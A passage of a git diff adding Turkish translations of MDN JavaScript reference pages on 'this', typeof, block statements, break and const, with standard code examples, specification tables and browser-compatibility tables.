+<pre class="brush:js">o.b = {g: independent, prop: 42}; +console.log(o.b.g()); // logs 42 +</pre> + +<h4 id="this_on_the_object's_prototype_chain"><code>this</code> on the object's prototype chain</h4> + +<p>The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, <code>this</code> refers to the object the method was called on, as if the method was on the object.</p> + +<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }}; +var p = Object.create(o); +p.a = 1; +p.b = 4; + +console.log(p.f()); // 5 +</pre> + +<p>In this example, the object assigned to the variable <code>p</code> doesn't have its own <code>f</code> property, it inherits it from its prototype. But it doesn't matter that the lookup for <code>f</code> eventually finds a member with that name on <code>o</code>; the lookup began as a reference to <code>p.f</code>, so <code>this</code> inside the function takes the value of the object referred to as <code>p</code>. That is, since <code>f</code> is called as a method of <code>p</code>, its <code>this</code> refers to <code>p</code>. This is an interesting feature of JavaScript's prototype inheritance.</p> + +<h4 id="this_with_a_getter_or_setter"><code>this</code> with a getter or setter</h4> + +<p>Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its <code>this</code> bound to the object from which the property is being set or gotten.</p> + +<pre class="brush:js">function modulus(){ + return Math.sqrt(this.re * this.re + this.im * this.im); +} + +var o = { + re: 1, + im: -1, + get phase(){ + return Math.atan2(this.im, this.re); + } +}; + +Object.defineProperty(o, 'modulus', { + get: modulus, enumerable:true, configurable:true}); + +console.log(o.phase, o.modulus); // logs -0.78 1.4142 +</pre> + +<h3 id="As_a_constructor">As a constructor</h3> + +<p>When a function is used as a constructor (with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword), its <code>this</code> is bound to the new object being constructed.</p> + +<p>Note: while the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p> + +<pre class="brush:js">/* + * Constructors work like this: + * + * function MyConstructor(){ + * // Actual function body code goes here. + * // Create properties on |this| as + * // desired by assigning to them. E.g., + * this.fum = "nom"; + * // et cetera... + * + * // If the function has a return statement that + * // returns an object, that object will be the + * // result of the |new| expression. Otherwise, + * // the result of the expression is the object + * // currently bound to |this| + * // (i.e., the common case most usually seen). + * } + */ + +function C(){ + this.a = 37; +} + +var o = new C(); +console.log(o.a); // logs 37 + + +function C2(){ + this.a = 37; + return {a:38}; +} + +o = new C2(); +console.log(o.a); // logs 38 +</pre> + +<p>In the last example (<code>C2</code>), because an object was returned during construction, the new object that <code>this</code> was bound to simply gets discarded. (This essentially makes the statement "<code>this.a = 37;</code>" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)</p> + +<h3 id="call_and_apply"><code>call</code> and <code>apply</code></h3> + +<p>Where a function uses the <code>this</code> keyword in its body, its value can be bound to a particular object in the call using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> or <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code> methods that all functions inherit from <code>Function.prototype</code>.</p> + +<pre class="brush:js">function add(c, d){ + return this.a + this.b + c + d; +} + +var o = {a:1, b:3}; + +// The first parameter is the object to use as +// 'this', subsequent parameters are passed as +// arguments in the function call +add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 + +// The first parameter is the object to use as +// 'this', the second is an array whose +// members are used as the arguments in the function call +add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34 +</pre> + +<p>Note that with <code>call</code> and <code>apply</code>, if the value passed as <code>this</code> is not an object, an attempt will be made to convert it to an object using the internal <code>ToObject</code> operation. So if the value passed is a primitive like <code>7</code> or <code>'foo'</code>, it will be converted to an Object using the related constructor, so the primitive number <code>7</code> is converted to an object as if by <code>new Number(7)</code> and the string <code>'foo'</code> to an object as if by <code>new String('foo')</code>, e.g.</p> + +<pre class="brush:js">function bar() { + console.log(Object.prototype.toString.call(this)); +} + +bar.call(7); // [object Number] +</pre> + +<h3 id="The_bind_method">The <code>bind</code> method</h3> + +<p>ECMAScript 5 introduced <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>. Calling <code>f.bind(someObject)</code> creates a new function with the same body and scope as <code>f</code>, but where <code>this</code> occurs in the original function, in the new function it is permanently bound to the first argument of <code>bind</code>, regardless of how the function is being used.</p> + +<pre class="brush:js">function f(){ + return this.a; +} + +var g = f.bind({a:"azerty"}); +console.log(g()); // azerty + +var o = {a:37, f:f, g:g}; +console.log(o.f(), o.g()); // 37, azerty +</pre> + +<h3 id="As_a_DOM_event_handler">As a DOM event handler</h3> + +<p>When a function is used as an event handler, its <code>this</code> is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than <code>addEventListener</code>).</p> + +<pre class="brush:js">// When called as a listener, turns the related element blue +function bluify(e){ + // Always true + console.log(this === e.currentTarget); + // true when currentTarget and target are the same object + console.log(this === e.target); + this.style.backgroundColor = '#A5D9F3'; +} + +// Get a list of every element in the document +var elements = document.getElementsByTagName('*'); + +// Add bluify as a click listener so when the +// element is clicked on, it turns blue +for(var i=0 ; i<elements.length ; i++){ + elements[i].addEventListener('click', bluify, false); +}</pre> + +<h3 id="In_an_in–line_event_handler">In an in–line event handler</h3> + +<p>When code is called from an in–line handler, its <code>this</code> is set to the DOM element on which the listener is placed:</p> + +<pre class="brush:js"><button onclick="alert(this.tagName.toLowerCase());"> + Show this +</button> +</pre> + +<p>The above alert shows <code>button</code>. Note however that only the outer code has its <code>this</code> set this way:</p> + +<pre class="brush:js"><button onclick="alert((function(){return this}()));"> + Show inner this +</button> +</pre> + +<p>In this case, the inner function's <code>this</code> isn't set so it returns the global/window object (i.e. the default object in non–strict mode where <code>this</code> isn't set by the call).</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li> + <li><a href="http://bjorn.tipling.com/all-this">All this</a>, an article about <code>this</code> in different contexts</li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/typeof/index.html b/files/tr/web/javascript/reference/operatörler/typeof/index.html new file mode 100644 index 0000000000..deccfd8925 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/typeof/index.html @@ -0,0 +1,259 @@ +--- +title: typeof +slug: Web/JavaScript/Reference/Operatörler/typeof +translation_of: Web/JavaScript/Reference/Operators/typeof +--- +<div>{{jsSidebar("Operatörler")}}</div> + +<p><strong><kbd>Typeof</kbd></strong> operatörü, değerlendirilmemiş işlenenin türünü gösteren bir dize döndürür.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div> + + + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<p>The <code>typeof</code> operator is followed by its operand:</p> + +<pre class="syntaxbox notranslate">typeof <em>operand +or +typeof (operand)</em> +</pre> + + + +<h3 id="Parametreler">Parametreler</h3> + +<p><code><em>operand</em></code> is an expression representing the object or {{Glossary("Primitive", "primitive")}} whose type is to be returned.</p> + +<p>Parantez isteğe bağlıdır.</p> + +<h2 id="Description">Description</h2> + +<p>The following table summarizes the possible return values of <code>typeof</code>. For more information about types and primitives, see also the <a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data structure</a> page.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Type</th> + <th scope="col">Result</th> + </tr> + </thead> + <tbody> + <tr> + <td>Undefined</td> + <td><code>"undefined"</code></td> + </tr> + <tr> + <td>Null</td> + <td><code>"object" </code>(see below)</td> + </tr> + <tr> + <td>Boolean</td> + <td><code>"boolean"</code></td> + </tr> + <tr> + <td>Number</td> + <td><code>"number"</code></td> + </tr> + <tr> + <td>String</td> + <td><code>"string"</code></td> + </tr> + <tr> + <td>Symbol (new in ECMAScript 2015)</td> + <td><code>"symbol"</code></td> + </tr> + <tr> + <td>Host object (provided by the JS environment)</td> + <td><em>Implementation-dependent</em></td> + </tr> + <tr> + <td>Function object (implements [[Call]] in ECMA-262 terms)</td> + <td><code>"function"</code></td> + </tr> + <tr> + <td>Any other object</td> + <td><code>"object"</code></td> + </tr> + </tbody> +</table> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush:js notranslate">// Sayılar +typeof 37 === 'number'; +typeof 3.14 === 'number'; +typeof(42) === 'number'; +typeof Math.LN2 === 'number'; +typeof Infinity === 'number'; +typeof NaN === 'number'; // Despite being "Not-A-Number" +typeof Number(1) === 'number'; // but never use this form! + + +// Metinler +typeof '' === 'string'; +typeof 'bla' === 'string'; +typeof '1' === 'string'; // note that a number within a string is still typeof string +typeof (typeof 1) === 'string'; // typeof always returns a string +typeof String('abc') === 'string'; // but never use this form! + + +// Booleans +typeof true === 'boolean'; +typeof false === 'boolean'; +typeof Boolean(true) === 'boolean'; // but never use this form! + + +// Symbols +typeof Symbol() === 'symbol' +typeof Symbol('foo') === 'symbol' +typeof Symbol.iterator === 'symbol' + + +// Undefined +typeof undefined === 'undefined'; +typeof declaredButUndefinedVariable === 'undefined'; +typeof undeclaredVariable === 'undefined'; + + +// Objeler +typeof {a: 1} === 'object'; + +// use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray</a> or Object.prototype.toString.call +// to differentiate regular objects from arrays +typeof [1, 2, 4] === 'object'; + +typeof new Date() === 'object'; + + +// The following is confusing. Don't use! +typeof new Boolean(true) === 'object'; +typeof new Number(1) === 'object'; +typeof new String('abc') === 'object'; + + +// Fonksiyonlar +typeof function() {} === 'function'; +typeof class C {} === 'function'; +typeof Math.sin === 'function'; +</pre> + +<h3 id="null"><code>null</code></h3> + +<pre class="brush:js notranslate">// This stands since the beginning of JavaScript +typeof null === 'object'; +</pre> + +<p>In the first implementation of JavaScript, JavaScript values were represented as a type tag and a value. The type tag for objects was 0. <code>null</code> was represented as the NULL pointer (0x00 in most platforms). Consequently, null had 0 as type tag, hence the bogus <code>typeof</code> return value. (<a href="http://www.2ality.com/2013/10/typeof-null.html">reference</a>)</p> + +<p>A fix was proposed for ECMAScript (via an opt-in), but <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:typeof_null">was rejected</a>. It would have resulted in <code>typeof null === 'null'</code>.</p> + +<h3 id="new_operatör_kullanımı"><code>new</code> operatör kullanımı</h3> + +<pre class="brush:js notranslate">// All constructor functions while instantiated with 'new' keyword will always be typeof 'object' +var str = new String('String'); +var num = new Number(100); + +typeof str; // It will return 'object' +typeof num; // It will return 'object' + +// But there is a exception in case of Function constructor of Javascript + +var func = new Function(); + +typeof func; // It will return 'function' +</pre> + +<h3 id="Parantezlere_ihtiyaç_var">Parantezlere ihtiyaç var</h3> + +<pre class="brush:js notranslate">// Parentheses will be very much useful to determine the data type for expressions. +var iData = 99; + +typeof iData + ' Wisen'; // It will return 'number Wisen' +typeof (iData + ' Wisen'); // It will return 'string' + + +</pre> + +<h3 id="Düzenli_İfadeler">Düzenli İfadeler</h3> + +<p>Callable regular expressions were a non-standard addition in some browsers.</p> + +<pre class="brush:js notranslate">typeof /s/ === 'function'; // Chrome 1-12 Non-conform to ECMAScript 5.1 +typeof /s/ === 'object'; // Firefox 5+ Conform to ECMAScript 5.1 +</pre> + +<h3 id="Temporal_Dead_Zone_errors">Temporal Dead Zone errors</h3> + +<p>Before ECMAScript 2015, <code>typeof</code> was always guaranteed to return a string for any operand it was supplied with. But with the addition of non-hoisted, block-scoped <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, using <code>typeof</code> on <code>let</code> and <code>const</code> variables in a block before they are declared will throw a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code>. This is in contrast with undeclared variables, for which <code>typeof</code> will return 'undefined'. Block scoped variables are in a "<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">temporal dead zone</a>" from the start of the block until the initialization is processed, during which, it will throw an error if accessed.</p> + +<pre class="brush: js notranslate">typeof undeclaredVariable === 'undefined'; +typeof newLetVariable; let newLetVariable; // ReferenceError +typeof newConstVariable; const newConstVariable = 'hello'; // ReferenceError +</pre> + +<h3 id="İstisnalar">İstisnalar</h3> + +<p>All current browsers expose a non-standard host object {{domxref("document.all")}} with type Undefined.</p> + +<pre class="brush:js notranslate">typeof document.all === 'undefined'; +</pre> + +<p>Although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different from the predefined ones. The case of <code>document.all</code> having type tag <code>'undefined'</code> must be classified as an exceptional violation of the rules.</p> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'The typeof Operator')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-typeof-operator', 'The typeof Operator')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.4.3', 'The typeof Operator')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-11.4.3', 'The typeof Operator')}}</td> + <td>{{Spec2('ES3')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-11.4.3', 'The typeof Operator')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.1.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.operators.typeof")}}</p> + +<h2 id="IE_özel_notlar">IE özel notlar</h2> + +<p>On IE 6, 7, and 8 a lot of host objects are objects and not functions. For example:</p> + +<pre class="brush: js notranslate">typeof alert === 'object'</pre> + +<h2 id="Bakabilirsiniz">Bakabilirsiniz</h2> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code></li> + <li><a href="http://es-discourse.com/t/why-typeof-is-no-longer-safe/15">Why typeof is no longer "safe"</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/block/index.html b/files/tr/web/javascript/reference/statements/block/index.html new file mode 100644 index 0000000000..7d77ce73aa --- /dev/null +++ b/files/tr/web/javascript/reference/statements/block/index.html @@ -0,0 +1,179 @@ +--- +title: block +slug: Web/JavaScript/Reference/Statements/block +tags: + - Blok + - ifade +translation_of: Web/JavaScript/Reference/Statements/block +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>Bir<strong> blok statement(ifade) </strong>(diğer bir deyişle <strong>birleşik ifade</strong>) sıfır ya da daha fazla ifadeyi gruplamak için kullanılır. Blok bir çift süslü parantezle sınırlandırılmakla beraber opsiyonel olarak {{jsxref("Statements/label", "etiketlenebilir")}}:</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">[<em>etiket</em>:] { + <em>statement_1</em>; + <em>statement_2;</em> + ... + <em>statement_n;</em> +} +</pre> + +<dl> + <dt><code>statement_1</code>, <code>statement_2</code>, <code>statement_n</code></dt> + <dd>İfadeler tek bir statement içinde sınırlandırılmıştır.</dd> + <dt><font face="Consolas, Liberation Mono, Courier, monospace">etiket</font></dt> + <dd>Görsel bir tanımlama yapmak ya da bir {{jsxref("Statements/break", "break(kırılım)")}}oluşturmak için opsiyonel bir {{jsxref("Statements/label", "etikettir.")}}.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Statement,sıklıkla akış tablolarıyla birlikte kullanılır. (örn. {{jsxref("Statements/if...else", "if...else")}}, {{jsxref("Statements/for", "for")}}, {{jsxref("Statements/while", "while")}}). Örnek:</p> + +<pre class="brush: js">while (x < 10) { + x++; +} +</pre> + +<p>Hatırlatma : statement noktalı virgül ile sonlanmaz.</p> + +<p>Block statement diğer dillerde birleşik ifade yani compound statement olarak ifade edilir. Javasacript tek bir statement beklerken, birden çok statement kullanmanızı sağlar. Blokların birleşmesi Javascript için yaygın bir kullanımdır. Bir diğer kullanım ise statement kullanmanız gereken ancak kullanmadığınız yerlerde boş bir statement kullanılmasıdır.</p> + +<h3 id="Block_Scoping_Rules">Block Scoping Rules</h3> + +<h4 id="With_var">With <code>var</code></h4> + +<p>Variables declared with <code>var</code> <strong>do not</strong> have block scope. Variables introduced with a block are scoped to the containing function or script, and the effects of setting them persist beyond the block itself. In other words, block statements do not introduce a scope. Although "standalone" blocks are valid syntax, you do not want to use standalone blocks in JavaScript, because they don't do what you think they do, if you think they do anything like such blocks in C or Java. For example:</p> + +<pre class="brush: js example-bad">var x = 1; +{ + var x = 2; +} +console.log(x); // logs 2 +</pre> + +<p>Burada çıktı 2 oldu çünkü block için ayrı bir scope oluşmamıştır. C ya da Java'da çıktı 1 olur.</p> + +<h4 id="let_ve_const_ile"><code>let </code>ve <code>const</code> ile</h4> + +<p>Yukarıdakinin aksine {{jsxref("Statements/let", "let")}} ve {{jsxref("Statements/const", "const")}} ayrı bir scope olarak koşacaktır:</p> + +<pre class="brush: js">let x = 1; +{ + let x = 2; +} +console.log(x); // logs 1</pre> + +<p><code>x = 2</code> sınırlı bir statement içerisinde yer aldığından sadece o statement içerisinde geçerli olacaktır.</p> + +<p>Bu kural <code><strong>const</strong> içinde aynıdır</code>:</p> + +<pre class="brush: js">const c = 1; +{ + const c = 2; +} +console.log(c); // logs 1 and does not throw SyntaxError...</pre> + +<p>Dikkat edin sınırlı blocktaki <code>const c = 2</code> <em> </em>ifadesi <code>SyntaxError: Identifier 'c' zaten tanımlanmış </code>hatası vermedi çünkü, her blok içerisinde benzersiz olarak tanımlanır.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES3')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Statements/while", "while")}}</li> + <li>{{jsxref("Statements/if...else", "if...else")}}</li> + <li>{{jsxref("Statements/let", "let")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/break/index.html b/files/tr/web/javascript/reference/statements/break/index.html new file mode 100644 index 0000000000..a929634f58 --- /dev/null +++ b/files/tr/web/javascript/reference/statements/break/index.html @@ -0,0 +1,117 @@ +--- +title: break +slug: Web/JavaScript/Reference/Statements/break +translation_of: Web/JavaScript/Reference/Statements/break +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>Break ifadesi içinde bulunduğu döngüyü , {{jsxref("Statements/switch", "switch")}}, or {{jsxref("Statements/label", "label")}} ifadelerini sonlandırır ve programın kontrolünü sonlandırılan ifadeyi ardından takip eden ifadeye geçirir.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>break [etiket];</code></pre> + +<dl> + <dt><code>etiket</code></dt> + <dd>İsteğe bağlıdır.İfade etiketini tanımlamakta kullanılır. Eğer belirtilen ifade bir döngü ya da {{jsxref("Statements/switch", "switch")}} değilse, mutlaka kullanılması gerekir.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>The <code>break</code> statement includes an optional label that allows the program to break out of a labeled statement. The <code>break</code> statement needs to be nested within the referenced label. The labeled statement can be any {{jsxref("Statements/block", "block")}} statement; it does not have to be preceded by a loop statement.</p> + +<h2 id="Examples">Examples</h2> + +<p>The following function has a <code>break</code> statement that terminates the {{jsxref("Statements/while", "while")}} loop when <code>i</code> is 3, and then returns the value 3 * <code>x</code>.</p> + +<pre class="brush:js;highlight:[6];">function testBreak(x) { + var i = 0; + + while (i < 6) { + if (i == 3) { + break; + } + i += 1; + } + + return i * x; +}</pre> + +<p>The following code uses <code>break</code> statements with labeled blocks. A <code>break</code> statement must be nested within any label it references. Notice that <code>inner_block</code> is nested within <code>outer_block</code>.</p> + +<pre class="brush:js;highlight:[1,2,4];">outer_block: { + inner_block: { + console.log('1'); + break outer_block; // breaks out of both inner_block and outer_block + console.log(':-('); // skipped + } + console.log('2'); // skipped +} +</pre> + +<p>The following code also uses <code>break</code> statements with labeled blocks but generates a Syntax Error because its <code>break</code> statement is within <code>block_1</code> but references <code>block_2</code>. A <code>break</code> statement must always be nested within any label it references.</p> + +<pre class="brush:js;highlight:[1,3,6];">block_1: { + console.log('1'); + break block_2; // SyntaxError: label not found +} + +block_2: { + console.log('2'); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Unlabeled version.</td> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Labeled version added.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.statements.break")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Statements/continue", "continue")}}</li> + <li>{{jsxref("Statements/label", "label")}}</li> + <li>{{jsxref("Statements/switch", "switch")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/statements/const/index.html b/files/tr/web/javascript/reference/statements/const/index.html new file mode 100644 index 0000000000..39f62e3144 --- /dev/null +++ b/files/tr/web/javascript/reference/statements/const/index.html @@ -0,0 +1,153 @@ +--- +title: const +slug: Web/JavaScript/Reference/Statements/const +translation_of: Web/JavaScript/Reference/Statements/const +--- +<div>{{jsSidebar("Statements")}}</div> + +<p>170 / 5000</p> + +<h2 id="Çeviri_sonuçları">Çeviri sonuçları</h2> + +<p>Sabit değerler(const), let anahtar sözcüğü kullanılarak bildirilen değişkenler gibi blok kapsamlıdır. Bir sabitin değeri yeniden atama yoluyla değiştirilemez ve yeniden beyan edilemez.</p> + +<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">const <var>name1</var> = <var>value1</var> [, <var>name2</var> = <var>value2</var> [, ... [, <var>nameN</var> = <var>valueN</var>]]];</pre> + +<dl> + <dt><code><var>nameN</var></code></dt> + <dd>The constant's name, which can be any legal {{Glossary("identifier")}}.</dd> + <dt><code><var>valueN</var></code></dt> + <dd>The constant's value. This can be any legal <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions">expression</a>, including a function expression.</dd> +</dl> + +<p> The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring Assignment </a>syntax can also be used to declare variables.</p> + +<pre class="syntaxbox notranslate">const <var>{ bar }</var> = <em>foo</em>; // where foo = { bar:10, baz:12 }; +/* This creates a constant with the name 'bar', which has a value of 10 */</pre> + +<dl> +</dl> + +<h2 id="Description">Description</h2> + +<p>This declaration creates a constant whose scope can be either global or local to the block in which it is declared. Global constants do <strong>not</strong> become properties of the {{domxref("window")}} object, unlike {{jsxref("Statements/var", "var")}} variables.</p> + +<p>An initializer for a constant is required. You must specify its value in the same statement in which it's declared. (This makes sense, given that it can't be changed later.)</p> + +<p>The <strong><code>const</code> declaration</strong> creates a read-only reference to a value. It does <strong>not</strong> mean the value it holds is immutable—just that the variable identifier cannot be reassigned. For instance, in the case where the content is an object, this means the object's contents (e.g., its properties) can be altered.</p> + +<p>All the considerations about the "<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone">temporal dead zone</a>" apply to both {{jsxref("Statements/let", "let")}} and <code>const</code>.</p> + +<p>A constant cannot share its name with a function or a variable in the same scope.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Basic_const_usage">Basic const usage</h3> + +<p>Constants can be declared with uppercase or lowercase, but a common convention is to use all-uppercase letters.</p> + +<pre class="brush: js; notranslate">// define MY_FAV as a constant and give it the value 7 +const MY_FAV = 7; + +// this will throw an error - Uncaught TypeError: Assignment to constant variable. +MY_FAV = 20; + +// MY_FAV is 7 +console.log('my favorite number is: ' + MY_FAV); + +// trying to redeclare a constant throws an error +// Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared +const MY_FAV = 20; + +// the name MY_FAV is reserved for constant above, so this will fail too +var MY_FAV = 20; + +// this throws an error too +let MY_FAV = 20; + +</pre> + +<h3 id="Block_scoping">Block scoping</h3> + +<p>It's important to note the nature of block scoping.</p> + +<pre class="brush: js notranslate">if (MY_FAV === 7) { + // this is fine and creates a block scoped MY_FAV variable + // (works equally well with let to declare a block scoped non const variable) + let MY_FAV = 20; + + // MY_FAV is now 20 + console.log('my favorite number is ' + MY_FAV); + + // this gets hoisted into the global context and throws an error + var MY_FAV = 20; +} + +// MY_FAV is still 7 +console.log('my favorite number is ' + MY_FAV); +</pre> + +<h3 id="const_needs_to_be_initialized">const needs to be 